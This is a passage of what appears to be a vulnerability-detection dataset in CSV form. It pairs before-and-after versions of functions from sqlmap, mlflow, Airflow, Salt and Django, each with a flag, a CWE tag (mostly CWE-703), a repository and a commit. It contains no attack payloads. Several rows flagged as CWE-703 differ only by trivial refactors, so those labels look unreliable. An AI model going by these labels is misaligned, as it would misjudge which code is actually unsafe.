                warnMsg += ""from the target URL""
            elif ""Handshake status"" in tbMsg:
                status = re.search(r""Handshake status ([\d]{3})"", tbMsg)
                errMsg = ""websocket handshake status %s"" % status.group(1) if status else ""unknown""
                raise SqlmapConnectionException(errMsg)
            elif ""SqlmapCompressionException"" in tbMsg:
                warnMsg = ""problems with response (de)compression""
                retrying = True
            else:
                warnMsg = ""unable to connect to the target URL""

            if ""BadStatusLine"" not in tbMsg and any((conf.proxy, conf.tor)):
                warnMsg += "" or proxy""

            if silent:
                return None, None, None

            with kb.locks.connError:
                kb.connErrorCounter += 1

                if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.choices.connError is None:
                    message = ""there seems to be a continuous problem with connection to the target. ""
                    message += ""Are you sure that you want to continue? [y/N] ""

                    kb.choices.connError = readInput(message, default='N', boolean=True)

                if kb.choices.connError is False:
                    raise SqlmapSkipTargetException

            if ""forcibly closed"" in tbMsg:
                logger.critical(warnMsg)
                return None, None, None
            elif ignoreTimeout and any(_ in tbMsg for _ in (""timed out"", ""IncompleteRead"", ""Interrupted system call"")):
                return None if not conf.ignoreTimeouts else """", None, None
            elif threadData.retriesCount < conf.retries and not kb.threadException:
                warnMsg += "". sqlmap is going to retry the request""
                if not retrying:
                    warnMsg += ""(s)""
                    logger.critical(warnMsg)
                else:
                    logger.debug(warnMsg)
                return Connect._retryProxy(**kwargs)
            elif kb.testMode or kb.multiThreadMode:
                logger.critical(warnMsg)
                return None, None, None
            else:
                raise SqlmapConnectionException(warnMsg)

        finally:
            if isinstance(page, six.binary_type):
                if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]):
                    page = six.text_type(page, errors=""ignore"")
                else:
                    page = getUnicode(page)

            for function in kb.postprocessFunctions:
                try:
                    page, responseHeaders, code = function(page, responseHeaders, code)
                except Exception as ex:
                    errMsg = ""error occurred while running postprocess ""
                    errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                    raise SqlmapGenericException(errMsg)

            for _ in (getattr(conn, ""redcode"", None), code):
                if _ is not None and _ in conf.abortCode:
                    errMsg = ""aborting due to detected HTTP code '%d'"" % _
                    singleTimeLogMessage(errMsg, logging.CRITICAL)
                    raise SystemExit

            threadData.lastPage = page
            threadData.lastCode = code

            socket.setdefaulttimeout(conf.timeout)

        # Dirty patch for Python3.11.0a7 (e.g. https://github.com/sqlmapproject/sqlmap/issues/5091)
        if not sys.version.startswith(""3.11.""):
            if conf.retryOn and re.search(conf.retryOn, page, re.I):
                if threadData.retriesCount < conf.retries:
                    warnMsg = ""forced retry of the request because of undesired page content""
                    logger.warning(warnMsg)
                    return Connect._retryProxy(**kwargs)

        processResponse(page, responseHeaders, code, status)

        if not skipLogTraffic:
            if conn and getattr(conn, ""redurl"", None):
                _ = _urllib.parse.urlsplit(conn.redurl)
                _ = (""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """"))
                requestMsg = re.sub(r""(\n[A-Z]+ ).+?( HTTP/\d)"", r""\g<1>%s\g<2>"" % getUnicode(_).replace(""\\"", ""\\\\""), requestMsg, 1)

                if kb.resendPostOnRedirect is False:
                    requestMsg = re.sub(r""(\[#\d+\]:\n)POST "", r""\g<1>GET "", requestMsg)
                    requestMsg = re.sub(r""(?i)Content-length: \d+\n"", """", requestMsg)
                    requestMsg = re.sub(r""(?s)\n\n.+"", ""\n"", requestMsg)

                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, conn.code, status)
            elif ""\n"" not in responseMsg:
                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

        return page, responseHeaders, code"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/pyfunc/__init__.py,0,"def _update_dependencies_schemas_in_prediction_context(self, context: Context):
        if self._model_meta and self._model_meta.metadata:
            dependencies_schemas = self._model_meta.metadata.get(""dependencies_schemas"", {})
            context.update(
                dependencies_schemas={
                    dependency: json.dumps(schema)
                    for dependency, schema in dependencies_schemas.items()
                }
            )",,mlflow/mlflow,7681ed4cd6a7e338ac209dceabbe0da6be3561d8,"def _update_dependencies_schemas_in_prediction_context(self, context: Context):
        if self._model_meta and self._model_meta.metadata:
            dependencies_schemas = self._model_meta.metadata.get(""dependencies_schemas"", {})
            context.update(
                dependencies_schemas={
                    dependency: json.dumps(schema)
                    for dependency, schema in dependencies_schemas.items()
                }
            )"
,UNKNOWN,UNKNOWN,helm_tests/security/test_security_context.py,1,"def test_check_deployments_and_jobs(self):
        docs = render_chart(
            values={
                ""uid"": 3000,
                ""gid"": 30,
                ""webserver"": {""defaultUser"": {""enabled"": True}},
                ""flower"": {""enabled"": True},
                ""airflowVersion"": ""2.2.0"",
                ""executor"": ""CeleryKubernetesExecutor"",
            },
            show_only=[
                ""templates/flower/flower-deployment.yaml"",
                ""templates/scheduler/scheduler-deployment.yaml"",
                ""templates/triggerer/triggerer-deployment.yaml"",
                ""templates/webserver/webserver-deployment.yaml"",
                ""templates/workers/worker-deployment.yaml"",
                ""templates/jobs/create-user-job.yaml"",
                ""templates/jobs/migrate-database-job.yaml"",
            ],
        )

        for doc in docs:
            assert jmespath.search(""spec.template.spec.securityContext.runAsUser"", doc) == 3000
            assert jmespath.search(""spec.template.spec.securityContext.fsGroup"", doc) == 30",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_check_deployments_and_jobs(self):
        docs = render_chart(
            values={
                ""uid"": 3000,
                ""gid"": 30,
                ""webserver"": {""defaultUser"": {""enabled"": True}},
                ""flower"": {""enabled"": True},
                ""airflowVersion"": ""2.2.0"",
                ""executor"": ""CeleryKubernetesExecutor"",
            },
            show_only=[
                ""templates/flower/flower-deployment.yaml"",
                ""templates/scheduler/scheduler-deployment.yaml"",
                ""templates/triggerer/triggerer-deployment.yaml"",
                ""templates/webserver/webserver-deployment.yaml"",
                ""templates/workers/worker-deployment.yaml"",
                ""templates/jobs/create-user-job.yaml"",
                ""templates/jobs/migrate-database-job.yaml"",
            ],
        )

        for doc in docs:
            assert 3000 == jmespath.search(""spec.template.spec.securityContext.runAsUser"", doc)
            assert 30 == jmespath.search(""spec.template.spec.securityContext.fsGroup"", doc)"
,UNKNOWN,UNKNOWN,tests/core/test_configuration.py,1,"def test_conf_as_dict_source(self):
        # test display_source
        cfg_dict = conf.as_dict(display_source=True)
        assert cfg_dict[""core""][""load_examples""][1] == ""airflow.cfg""
        assert cfg_dict[""testsection""][""testkey""] == (""testvalue"", ""env var"")
        assert cfg_dict[""core""][""fernet_key""] == (""< hidden >"", ""env var"")",CWE-703,apache/airflow,b54f5030371ba4fcdc8437f06fc7916362e2a1a8,"def test_conf_as_dict_source(self):
        # test display_source
        cfg_dict = conf.as_dict(display_source=True)
        assert cfg_dict[""core""][""load_examples""][1] == ""airflow.cfg""
        assert cfg_dict[""database""][""load_default_connections""][1] == ""airflow.cfg""
        assert cfg_dict[""testsection""][""testkey""] == (""testvalue"", ""env var"")
        assert cfg_dict[""core""][""fernet_key""] == (""< hidden >"", ""env var"")"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/grains.py,0,"def filter_by(lookup_dict, grain='os_family', merge=None, default='default', base=None):
    '''
    .. versionadded:: 0.17.0

    Look up the given grain in a given dictionary for the current OS and return
    the result

    Although this may occasionally be useful at the CLI, the primary intent of
    this function is for use in Jinja to make short work of creating lookup
    tables for OS-specific data. For example:

    .. code-block:: jinja

        {% set apache = salt['grains.filter_by']({
            'Debian': {'pkg': 'apache2', 'srv': 'apache2'},
            'RedHat': {'pkg': 'httpd', 'srv': 'httpd'},
        }, default='Debian') %}

        myapache:
          pkg:
            - installed
            - name: {{ apache.pkg }}
          service:
            - running
            - name: {{ apache.srv }}

    Values in the lookup table may be overridden by values in Pillar. An
    example Pillar to override values in the example above could be as follows:

    .. code-block:: yaml

        apache:
          lookup:
            pkg: apache_13
            srv: apache

    The call to ``filter_by()`` would be modified as follows to reference those
    Pillar values:

    .. code-block:: jinja

        {% set apache = salt['grains.filter_by']({
            ...
        }, merge=salt['pillar.get']('apache:lookup')) %}


    :param lookup_dict: A dictionary, keyed by a grain, containing a value or
        values relevant to systems matching that grain. For example, a key
        could be the grain for an OS and the value could the name of a package
        on that particular OS.
    :param grain: The name of a grain to match with the current system's
        grains. For example, the value of the ""os_family"" grain for the current
        system could be used to pull values from the ``lookup_dict``
        dictionary.
    :param merge: A dictionary to merge with the results of the grain selection
        from ``lookup_dict``. This allows Pillar to override the values in the
        ``lookup_dict``. This could be useful, for example, to override the
        values for non-standard package names such as when using a different
        Python version from the default Python version provided by the OS
        (e.g., ``python26-mysql`` instead of ``python-mysql``).
    :param default: default lookup_dict's key used if the grain does not exists
        or if the grain value has no match on lookup_dict.  If unspecified
        the value is ""default"".

        .. versionadded:: 2014.1.0

    :param base: A lookup_dict key to use for a base dictionary.  The
        grain-selected ``lookup_dict`` is merged over this and then finally
        the ``merge`` dictionary is merged.  This allows common values for
        each case to be collected in the base and overridden by the grain
        selection dictionary and the merge dictionary.  Default is unset.

        .. versionadded:: Lithium

    CLI Example:

    .. code-block:: bash

        salt '*' grains.filter_by '{Debian: Debheads rule, RedHat: I love my hat}'
        # this one will render {D: {E: I, G: H}, J: K}
        salt '*' grains.filter_by '{A: B, C: {D: {E: F,G: H}}}' 'xxx' '{D: {E: I},J: K}' 'C'
        # next one renders {A: {B: G}, D: J}
        salt '*' grains.filter_by '{default: {A: {B: C}, D: E}, F: {A: {B: G}}, H: {D: I}}' 'xxx' '{D: J}' 'F' 'default'
        # next same as above when default='H' instead of 'F' renders {A: {B: C}, D: J}
    '''

    ret = lookup_dict.get(
            __grains__.get(
                grain, default),
            lookup_dict.get(
                default, None)
            )

    if base and base in lookup_dict:
        base_values = lookup_dict[base]
        if ret is None:
            ret = base_values

        elif isinstance(base_values, collections.Mapping):
            if not isinstance(ret, collections.Mapping):
                raise SaltException('filter_by default and look-up values must both be dictionaries.')
            ret = salt.utils.dictupdate.update(copy.deepcopy(base_values), ret)

    if merge:
        if not isinstance(merge, collections.Mapping):
            raise SaltException('filter_by merge argument must be a dictionary.')

        if ret is None:
            ret = merge
        else:
            salt.utils.dictupdate.update(ret, merge)

    return ret",,saltstack/salt,4af9d1234ed28124e20ccf9714210a055dbd1c3b,"def filter_by(lookup_dict, grain='os_family', merge=None, default='default', base=None):
    '''
    .. versionadded:: 0.17.0

    Look up the given grain in a given dictionary for the current OS and return
    the result

    Although this may occasionally be useful at the CLI, the primary intent of
    this function is for use in Jinja to make short work of creating lookup
    tables for OS-specific data. For example:

    .. code-block:: jinja

        {% set apache = salt['grains.filter_by']({
            'Debian': {'pkg': 'apache2', 'srv': 'apache2'},
            'RedHat': {'pkg': 'httpd', 'srv': 'httpd'},
        }, default='Debian') %}

        myapache:
          pkg:
            - installed
            - name: {{ apache.pkg }}
          service:
            - running
            - name: {{ apache.srv }}

    Values in the lookup table may be overridden by values in Pillar. An
    example Pillar to override values in the example above could be as follows:

    .. code-block:: yaml

        apache:
          lookup:
            pkg: apache_13
            srv: apache

    The call to ``filter_by()`` would be modified as follows to reference those
    Pillar values:

    .. code-block:: jinja

        {% set apache = salt['grains.filter_by']({
            ...
        }, merge=salt['pillar.get']('apache:lookup')) %}


    :param lookup_dict: A dictionary, keyed by a grain, containing a value or
        values relevant to systems matching that grain. For example, a key
        could be the grain for an OS and the value could the name of a package
        on that particular OS.
    :param grain: The name of a grain to match with the current system's
        grains. For example, the value of the ""os_family"" grain for the current
        system could be used to pull values from the ``lookup_dict``
        dictionary.
    :param merge: A dictionary to merge with the results of the grain selection
        from ``lookup_dict``. This allows Pillar to override the values in the
        ``lookup_dict``. This could be useful, for example, to override the
        values for non-standard package names such as when using a different
        Python version from the default Python version provided by the OS
        (e.g., ``python26-mysql`` instead of ``python-mysql``).
    :param default: default lookup_dict's key used if the grain does not exists
        or if the grain value has no match on lookup_dict.  If unspecified
        the value is ""default"".
    :param base: A lookup_dict key to use for a base dictionary.  The
        grain-selected ``lookup_dict`` is merged over this and then finally
        the ``merge`` dictionary is merged.  This allows common values for
        each case to be collected in the base and overridden by the grain
        selection dictionary and the merge dictionary.  Default is unset.

         .. versionadded:: 2014.1.0

    CLI Example:

    .. code-block:: bash

        salt '*' grains.filter_by '{Debian: Debheads rule, RedHat: I love my hat}'
        # this one will render {D: {E: I, G: H}, J: K}
        salt '*' grains.filter_by '{A: B, C: {D: {E: F,G: H}}}' 'xxx' '{D: {E: I},J: K}' 'C'
        # next one renders {A: {B: G}, D: J}
        salt '*' grains.filter_by '{default: {A: {B: C}, D: E}, F: {A: {B: G}}, H: {D: I}}' 'xxx' '{D: J}' 'F' 'default'
        # next same as above when default='H' instead of 'F' renders {A: {B: C}, D: J}
    '''

    ret = lookup_dict.get(
            __grains__.get(
                grain, default),
            lookup_dict.get(
                default, None)
            )

    if base and base in lookup_dict:
        base_values = lookup_dict[base]
        if ret is None:
            ret = base_values

        elif isinstance(base_values, collections.Mapping):
            if not isinstance(ret, collections.Mapping):
                raise SaltException('filter_by default and look-up values must both be dictionaries.')
            ret = salt.utils.dictupdate.update(copy.deepcopy(base_values), ret)

    if merge:
        if not isinstance(merge, collections.Mapping):
            raise SaltException('filter_by merge argument must be a dictionary.')

        if ret is None:
            ret = merge
        else:
            salt.utils.dictupdate.update(ret, merge)

    return ret"
,UNKNOWN,UNKNOWN,tests/deployments/test_cli.py,1,"def test_create():
    res = runner.invoke(
        cli.create_deployment,
        [""--flavor"", f_flavor, ""--model-uri"", f_model_uri, ""--target"", f_target, ""--name"", f_name],
    )
    assert f""{f_flavor} deployment {f_name} is created"" in res.stdout
    res = runner.invoke(
        cli.create_deployment, [""-f"", f_flavor, ""-m"", f_model_uri, ""-t"", f_target, ""--name"", f_name]
    )
    assert f""{f_flavor} deployment {f_name} is created"" in res.stdout",CWE-703,mlflow/mlflow,9eeeff414d119c7df72b10da3dda8daf000d85ea,"def test_create():
    res = runner.invoke(
        cli.create_deployment,
        [""--flavor"", f_flavor, ""--model-uri"", f_model_uri, ""--target"", f_target, ""--name"", f_name],
    )
    assert ""{} deployment {} is created"".format(f_flavor, f_name) in res.stdout
    res = runner.invoke(
        cli.create_deployment, [""-f"", f_flavor, ""-m"", f_model_uri, ""-t"", f_target, ""--name"", f_name]
    )
    assert ""{} deployment {} is created"".format(f_flavor, f_name) in res.stdout"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/utils/search_utils.py,0,"def _invalid_statement_token_search_model_registry(cls, token):
        if isinstance(token, Comparison):
            return False
        elif isinstance(token, Identifier):
            return False
        elif isinstance(token, Parenthesis):
            return False
        elif token.is_whitespace:
            return False
        elif token.match(ttype=TokenType.Keyword, values=[""AND"", ""IN""]):
            return False
        elif token.match(ttype=TokenType.Operator.Comparison, values=[""IN""]):
            # `IN` is a comparison token in sqlparse >= 0.4.0:
            # https://github.com/andialbrecht/sqlparse/pull/567
            return False
        else:
            return True",,mlflow/mlflow,c9856e7855c9d5340cc0c7b0ea67aba5d29ba075,"def _invalid_statement_token_search_model_registry(cls, token):
        if isinstance(token, Comparison):
            return False
        elif isinstance(token, Identifier):
            return False
        elif isinstance(token, Parenthesis):
            return False
        elif token.is_whitespace:
            return False
        elif token.match(ttype=TokenType.Keyword, values=[""AND"", ""IN""]):
            return False
        else:
            return True"
,UNKNOWN,UNKNOWN,tests/template_tests/tests.py,1,"def test_templates(self):
        template_tests = self.get_template_tests()
        filter_tests = filters.get_filter_tests()

        # Quickly check that we aren't accidentally using a name in both
        # template and filter tests.
        overlapping_names = [name for name in filter_tests if name in template_tests]
        assert not overlapping_names, 'Duplicate test name(s): %s' % ', '.join(overlapping_names)

        template_tests.update(filter_tests)

        cache_loader = setup_test_template_loader(
            dict((name, t[0]) for name, t in six.iteritems(template_tests)),
            use_cached_loader=True,
        )

        failures = []
        tests = sorted(template_tests.items())

        # Turn TEMPLATE_DEBUG off, because tests assume that.
        old_td, settings.TEMPLATE_DEBUG = settings.TEMPLATE_DEBUG, False

        # Set TEMPLATE_STRING_IF_INVALID to a known string.
        old_invalid = settings.TEMPLATE_STRING_IF_INVALID
        expected_invalid_str = 'INVALID'

        # Set ALLOWED_INCLUDE_ROOTS so that ssi works.
        old_allowed_include_roots = settings.ALLOWED_INCLUDE_ROOTS
        settings.ALLOWED_INCLUDE_ROOTS = (
            os.path.dirname(os.path.abspath(upath(__file__))),
        )

        # Warm the URL reversing cache. This ensures we don't pay the cost
        # warming the cache during one of the tests.
        urlresolvers.reverse('template_tests.views.client_action',
                             kwargs={'id': 0, 'action': ""update""})

        for name, vals in tests:
            if isinstance(vals[2], tuple):
                normal_string_result = vals[2][0]
                invalid_string_result = vals[2][1]

                if isinstance(invalid_string_result, tuple):
                    expected_invalid_str = 'INVALID %s'
                    invalid_string_result = invalid_string_result[0] % invalid_string_result[1]
                    template_base.invalid_var_format_string = True

                try:
                    template_debug_result = vals[2][2]
                except IndexError:
                    template_debug_result = normal_string_result

            else:
                normal_string_result = vals[2]
                invalid_string_result = vals[2]
                template_debug_result = vals[2]

            if 'LANGUAGE_CODE' in vals[1]:
                activate(vals[1]['LANGUAGE_CODE'])
            else:
                activate('en-us')

            for invalid_str, template_debug, result in [
                    ('', False, normal_string_result),
                    (expected_invalid_str, False, invalid_string_result),
                    ('', True, template_debug_result)
            ]:
                settings.TEMPLATE_STRING_IF_INVALID = invalid_str
                settings.TEMPLATE_DEBUG = template_debug
                for is_cached in (False, True):
                    try:
                        try:
                            with warnings.catch_warnings():
                                # Ignore pending deprecations of the old syntax of the 'cycle' and 'firstof' tags.
                                warnings.filterwarnings(""ignore"", category=DeprecationWarning, module='django.template.base')
                                test_template = loader.get_template(name)
                        except ShouldNotExecuteException:
                            failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Template loading invoked method that shouldn't have been invoked."" % (is_cached, invalid_str, template_debug, name))

                        try:
                            output = self.render(test_template, vals)
                        except ShouldNotExecuteException:
                            failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Template rendering invoked method that shouldn't have been invoked."" % (is_cached, invalid_str, template_debug, name))
                    except ContextStackException:
                        failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Context stack was left imbalanced"" % (is_cached, invalid_str, template_debug, name))
                        continue
                    except Exception:
                        exc_type, exc_value, exc_tb = sys.exc_info()
                        if exc_type != result:
                            tb = '\n'.join(traceback.format_exception(exc_type, exc_value, exc_tb))
                            failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Got %s, exception: %s\n%s"" % (is_cached, invalid_str, template_debug, name, exc_type, exc_value, tb))
                        continue
                    if output != result:
                        failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Expected %r, got %r"" % (is_cached, invalid_str, template_debug, name, result, output))
                cache_loader.reset()

            if 'LANGUAGE_CODE' in vals[1]:
                deactivate()

            if template_base.invalid_var_format_string:
                expected_invalid_str = 'INVALID'
                template_base.invalid_var_format_string = False

        restore_template_loaders()
        deactivate()
        settings.TEMPLATE_DEBUG = old_td
        settings.TEMPLATE_STRING_IF_INVALID = old_invalid
        settings.ALLOWED_INCLUDE_ROOTS = old_allowed_include_roots

        self.assertEqual(failures, [], ""Tests failed:\n%s\n%s"" %
            ('-'*70, (""\n%s\n"" % ('-'*70)).join(failures)))",CWE-703,django/django,9d740eb8b15de31f1c5520659df683d90342bb44,"def test_templates(self):
        template_tests = self.get_template_tests()
        filter_tests = filters.get_filter_tests()

        # Quickly check that we aren't accidentally using a name in both
        # template and filter tests.
        overlapping_names = [name for name in filter_tests if name in template_tests]
        assert not overlapping_names, 'Duplicate test name(s): %s' % ', '.join(overlapping_names)

        template_tests.update(filter_tests)

        cache_loader = setup_test_template_loader(
            dict((name, t[0]) for name, t in six.iteritems(template_tests)),
            use_cached_loader=True,
        )

        failures = []
        tests = sorted(template_tests.items())

        # Turn TEMPLATE_DEBUG off, because tests assume that.
        old_td, settings.TEMPLATE_DEBUG = settings.TEMPLATE_DEBUG, False

        # Set TEMPLATE_STRING_IF_INVALID to a known string.
        old_invalid = settings.TEMPLATE_STRING_IF_INVALID
        expected_invalid_str = 'INVALID'

        # Set ALLOWED_INCLUDE_ROOTS so that ssi works.
        old_allowed_include_roots = settings.ALLOWED_INCLUDE_ROOTS
        settings.ALLOWED_INCLUDE_ROOTS = (
            os.path.dirname(os.path.abspath(upath(__file__))),
        )

        # Warm the URL reversing cache. This ensures we don't pay the cost
        # warming the cache during one of the tests.
        urlresolvers.reverse('template_tests.views.client_action',
                             kwargs={'id':0,'action':""update""})

        for name, vals in tests:
            if isinstance(vals[2], tuple):
                normal_string_result = vals[2][0]
                invalid_string_result = vals[2][1]

                if isinstance(invalid_string_result, tuple):
                    expected_invalid_str = 'INVALID %s'
                    invalid_string_result = invalid_string_result[0] % invalid_string_result[1]
                    template_base.invalid_var_format_string = True

                try:
                    template_debug_result = vals[2][2]
                except IndexError:
                    template_debug_result = normal_string_result

            else:
                normal_string_result = vals[2]
                invalid_string_result = vals[2]
                template_debug_result = vals[2]

            if 'LANGUAGE_CODE' in vals[1]:
                activate(vals[1]['LANGUAGE_CODE'])
            else:
                activate('en-us')

            for invalid_str, template_debug, result in [
                    ('', False, normal_string_result),
                    (expected_invalid_str, False, invalid_string_result),
                    ('', True, template_debug_result)
            ]:
                settings.TEMPLATE_STRING_IF_INVALID = invalid_str
                settings.TEMPLATE_DEBUG = template_debug
                for is_cached in (False, True):
                    try:
                        try:
                            with warnings.catch_warnings():
                                # Ignore pending deprecations of the old syntax of the 'cycle' and 'firstof' tags.
                                warnings.filterwarnings(""ignore"", category=DeprecationWarning, module='django.template.base')
                                test_template = loader.get_template(name)
                        except ShouldNotExecuteException:
                            failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Template loading invoked method that shouldn't have been invoked."" % (is_cached, invalid_str, template_debug, name))

                        try:
                            output = self.render(test_template, vals)
                        except ShouldNotExecuteException:
                            failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Template rendering invoked method that shouldn't have been invoked."" % (is_cached, invalid_str, template_debug, name))
                    except ContextStackException:
                        failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Context stack was left imbalanced"" % (is_cached, invalid_str, template_debug, name))
                        continue
                    except Exception:
                        exc_type, exc_value, exc_tb = sys.exc_info()
                        if exc_type != result:
                            tb = '\n'.join(traceback.format_exception(exc_type, exc_value, exc_tb))
                            failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Got %s, exception: %s\n%s"" % (is_cached, invalid_str, template_debug, name, exc_type, exc_value, tb))
                        continue
                    if output != result:
                        failures.append(""Template test (Cached='%s', TEMPLATE_STRING_IF_INVALID='%s', TEMPLATE_DEBUG=%s): %s -- FAILED. Expected %r, got %r"" % (is_cached, invalid_str, template_debug, name, result, output))
                cache_loader.reset()

            if 'LANGUAGE_CODE' in vals[1]:
                deactivate()

            if template_base.invalid_var_format_string:
                expected_invalid_str = 'INVALID'
                template_base.invalid_var_format_string = False

        restore_template_loaders()
        deactivate()
        settings.TEMPLATE_DEBUG = old_td
        settings.TEMPLATE_STRING_IF_INVALID = old_invalid
        settings.ALLOWED_INCLUDE_ROOTS = old_allowed_include_roots

        self.assertEqual(failures, [], ""Tests failed:\n%s\n%s"" %
            ('-'*70, (""\n%s\n"" % ('-'*70)).join(failures)))"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/apps/tests.py,0,"def test_no_such_app(self):
        """"""
        Tests when INSTALLED_APPS contains an app that doesn't exist, either
        directly or via an app config.
        """"""
        with self.assertRaises(ImportError):
            with self.settings(INSTALLED_APPS=['there is no such app']):
                pass
        msg = ""Cannot import 'there is no such app'. Check that 'apps.apps.NoSuchApp.name' is correct.""
        with self.assertRaisesMessage(ImproperlyConfigured, msg):
            with self.settings(INSTALLED_APPS=['apps.apps.NoSuchApp']):
                pass",CWE-Unknown,django/django,080dd74e016fbc99d3aaecd36ef932424042b768,"def test_no_such_app(self):
        """"""
        Tests when INSTALLED_APPS contains an app that doesn't exist, either
        directly or via an app config.
        """"""
        with self.assertRaises(ImportError):
            with self.settings(INSTALLED_APPS=['there is no such app']):
                pass
        with self.assertRaises(ImportError):
            with self.settings(INSTALLED_APPS=['apps.apps.NoSuchApp']):
                pass"
,UNKNOWN,UNKNOWN,tests/models/test_dag.py,1,"def test_bulk_write_to_db_max_active_runs(self, state):
        """"""
        Test that DagModel.next_dagrun_create_after is set to NULL when the dag cannot be created due to max
        active runs being hit.
        """"""
        dag = DAG(dag_id=""test_scheduler_verify_max_active_runs"", start_date=DEFAULT_DATE)
        dag.max_active_runs = 1

        EmptyOperator(task_id=""dummy"", dag=dag, owner=""airflow"")

        session = settings.Session()
        dag.clear()
        DAG.bulk_write_to_db([dag], session=session)

        model = session.get(DagModel, dag.dag_id)

        assert model.next_dagrun == DEFAULT_DATE
        assert model.next_dagrun_create_after == DEFAULT_DATE + timedelta(days=1)

        dr = dag.create_dagrun(
            state=state,
            execution_date=model.next_dagrun,
            run_type=DagRunType.SCHEDULED,
            session=session,
        )
        assert dr is not None
        DAG.bulk_write_to_db([dag])

        model = session.get(DagModel, dag.dag_id)
        # We signal ""at max active runs"" by saying this run is never eligible to be created
        assert model.next_dagrun_create_after is None
        # test that bulk_write_to_db again doesn't update next_dagrun_create_after
        DAG.bulk_write_to_db([dag])
        model = session.get(DagModel, dag.dag_id)
        assert model.next_dagrun_create_after is None",CWE-703,apache/airflow,264ace5f86e560d09444b833556074363b055f81,"def test_bulk_write_to_db_max_active_runs(self, state):
        """"""
        Test that DagModel.next_dagrun_create_after is set to NULL when the dag cannot be created due to max
        active runs being hit.
        """"""
        dag = DAG(dag_id=""test_scheduler_verify_max_active_runs"", start_date=DEFAULT_DATE)
        dag.max_active_runs = 1

        EmptyOperator(task_id=""dummy"", dag=dag, owner=""airflow"")

        session = settings.Session()
        dag.clear()
        DAG.bulk_write_to_db([dag], session=session)

        model = session.query(DagModel).get((dag.dag_id,))

        assert model.next_dagrun == DEFAULT_DATE
        assert model.next_dagrun_create_after == DEFAULT_DATE + timedelta(days=1)

        dr = dag.create_dagrun(
            state=state,
            execution_date=model.next_dagrun,
            run_type=DagRunType.SCHEDULED,
            session=session,
        )
        assert dr is not None
        DAG.bulk_write_to_db([dag])

        model = session.query(DagModel).get((dag.dag_id,))
        # We signal ""at max active runs"" by saying this run is never eligible to be created
        assert model.next_dagrun_create_after is None
        # test that bulk_write_to_db again doesn't update next_dagrun_create_after
        DAG.bulk_write_to_db([dag])
        model = session.query(DagModel).get((dag.dag_id,))
        assert model.next_dagrun_create_after is None"
,UNKNOWN,UNKNOWN,django/db/models/base.py,1,"def save_base(self, raw=False, force_insert=False,
                  force_update=False, using=None, update_fields=None):
        """"""
        Handle the parts of saving which should be done only once per save,
        yet need to be done in raw saves, too. This includes some sanity
        checks and signal sending.

        The 'raw' argument is telling save_base not to save any parent
        models and not to do any changes to the values before save. This
        is used by fixture loading.
        """"""
        using = using or router.db_for_write(self.__class__, instance=self)
        assert not (force_insert and (force_update or update_fields))
        assert update_fields is None or update_fields
        cls = origin = self.__class__
        # Skip proxies, but keep the origin as the proxy model.
        if cls._meta.proxy:
            cls = cls._meta.concrete_model
        meta = cls._meta
        if not meta.auto_created:
            pre_save.send(
                sender=origin, instance=self, raw=raw, using=using,
                update_fields=update_fields,
            )
        with transaction.atomic(using=using, savepoint=False):
            parent_inserted = False
            if not raw:
                parent_inserted = self._save_parents(cls, using, update_fields)
            updated = self._save_table(
                raw, cls, force_insert or parent_inserted,
                force_update, using, update_fields,
            )
        # Store the database on which the object was saved
        self._state.db = using
        # Once saved, this is no longer a to-be-added instance.
        self._state.adding = False

        # Signal that the save is complete
        if not meta.auto_created:
            post_save.send(
                sender=origin, instance=self, created=(not updated),
                update_fields=update_fields, raw=raw, using=using,
            )",CWE-703,django/django,861638a3074f289faf729d739edf6326332a484f,"def save_base(self, raw=False, force_insert=False,
                  force_update=False, using=None, update_fields=None):
        """"""
        Handle the parts of saving which should be done only once per save,
        yet need to be done in raw saves, too. This includes some sanity
        checks and signal sending.

        The 'raw' argument is telling save_base not to save any parent
        models and not to do any changes to the values before save. This
        is used by fixture loading.
        """"""
        using = using or router.db_for_write(self.__class__, instance=self)
        assert not (force_insert and (force_update or update_fields))
        assert update_fields is None or update_fields
        cls = origin = self.__class__
